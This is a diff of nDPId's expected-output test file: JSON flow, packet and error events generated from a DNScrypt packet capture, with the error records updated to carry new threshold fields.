01203{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":459,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":184,"flow_packet_id":1,"flow_src_last_pkt_time":946739380805007,"flow_dst_last_pkt_time":946739380805007,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739380805007,"pkt":"REREREREZmZmZmZmCABFAAIc\/YhAAH4Rg9MKAAAB1C\/kiJ9HAbsCCHuObeABAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJmcghkbnNjcnlwdANvcmcAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -931,12 +813,12 @@ 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":460,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":185,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739380805259,"flow_src_last_pkt_time":946739380805259,"flow_dst_last_pkt_time":946739380805259,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739380805259,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":56335,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02486{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":460,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":185,"flow_packet_id":1,"flow_src_last_pkt_time":946739380805259,"flow_dst_last_pkt_time":946739380805259,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739380805259,"pkt":"REREREREZmZmZmZmCABFAAXc\/YkgAH4RoBIKAAAB1C\/kiNwPAbsGBMhCbeEBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJmcghkbnNjcnlwdANvcmcAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":460,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":185,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739380805259,"flow_src_last_pkt_time":946739380805259,"flow_dst_last_pkt_time":946739380805259,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739380805259,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":56335,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":461,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739380805278} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739380805278,"packet_id":461,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739380805278} 00425{"packet_event_id":1,"packet_event_name":"packet","packet_id":461,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739380805259,"pkt":"REREREREZmZmZmZmCABFAABQ\/YkAuX4RxOUKAAAB1C\/kiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":462,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":186,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739380805613,"flow_src_last_pkt_time":946739380805613,"flow_dst_last_pkt_time":946739380805613,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739380805613,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":60885,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02486{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":462,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":186,"flow_packet_id":1,"flow_src_last_pkt_time":946739380805613,"flow_dst_last_pkt_time":946739380805613,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739380805613,"pkt":"REREREREZmZmZmZmCABFAAXc\/YogAH4RoBEKAAAB1C\/kiO3VAbsGBLZ+bd8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJmcghkbnNjcnlwdANvcmcAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":462,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":186,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739380805613,"flow_src_last_pkt_time":946739380805613,"flow_dst_last_pkt_time":946739380805613,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739380805613,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":60885,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":463,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739380805632} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739380805632,"packet_id":463,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739380805632} 00425{"packet_event_id":1,"packet_event_name":"packet","packet_id":463,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739380805613,"pkt":"REREREREZmZmZmZmCABFAABQ\/YoAuX4RxOQKAAAB1C\/kiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00766{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":464,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":181,"flow_packet_id":2,"flow_src_last_pkt_time":946739380804527,"flow_dst_last_pkt_time":946739380832369,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"thread_ts_usec":946739380832369,"pkt":"ZmZmZmZmRERERERECABFAADWpUBAADIRKWLUL+SICgAAAQG7leMAwtNqbd6BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAJmcghkbnNjcnlwdANvcmcAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAAGnqbCRK7WvFnA0fqnvTaP0TkhGLYlM337fP\/M0VQi0o3wTy7gpqyMQZFkjfrWn031Ofm4JJLwM1X8FbNxmrQCWUcFQ8RQkVXWSFLecisgk5xXaKVbLy2ZX6VNRztvrCJZRwVDxFCRVAAAAAV9ToghfVPOI"} 00766{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":465,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":2,"flow_src_last_pkt_time":946739380804527,"flow_dst_last_pkt_time":946739380834573,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"thread_ts_usec":946739380834573,"pkt":"ZmZmZmZmRERERERECABFAADWpUJAADIRKWDUL+SICgAAAQG7hbQAwuOabd2BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAJmcghkbnNjcnlwdANvcmcAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAAGnqbCRK7WvFnA0fqnvTaP0TkhGLYlM337fP\/M0VQi0o3wTy7gpqyMQZFkjfrWn031Ofm4JJLwM1X8FbNxmrQCWUcFQ8RQkVXWSFLecisgk5xXaKVbLy2ZX6VNRztvrCJZRwVDxFCRVAAAAAV9ToghfVPOI"} @@ -956,7 +838,7 @@ 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":473,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":190,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739380984007,"flow_src_last_pkt_time":946739380984007,"flow_dst_last_pkt_time":946739380984007,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739380984007,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":57090,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":473,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":1,"flow_src_last_pkt_time":946739380984007,"flow_dst_last_pkt_time":946739380984007,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739380984007,"pkt":"REREREREZmZmZmZmCABFAAXcVMcgAH4RTqIKAAABVQVd5t8CIPsGBKCC4+8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhpYmtzdHVybQAAEAABAAAAAAAAAAAABccADAXDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":473,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":190,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739380984007,"flow_src_last_pkt_time":946739380984007,"flow_dst_last_pkt_time":946739380984007,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739380984007,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":57090,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":474,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739380984034} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739380984034,"packet_id":474,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739380984034} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":474,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739380984007,"pkt":"REREREREZmZmZmZmCABFAABQVMcAuX4Rc3UKAAABVQVd5gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":475,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":191,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739380984041,"flow_src_last_pkt_time":946739380984041,"flow_dst_last_pkt_time":946739380984041,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739380984041,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":51826,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02485{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":475,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":191,"flow_packet_id":1,"flow_src_last_pkt_time":946739380984041,"flow_dst_last_pkt_time":946739380984041,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739380984041,"pkt":"REREREREZmZmZmZmCABFAAXcVMkgAH4RTqAKAAABVQVd5spyIPsGBLUQ4\/EBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhpYmtzdHVybQAAEAABAAAAAAAAAAAABccADAXDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA